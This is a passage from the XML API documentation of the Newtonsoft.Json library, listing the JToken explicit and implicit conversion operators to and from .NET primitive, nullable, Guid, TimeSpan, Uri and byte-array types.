<returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member 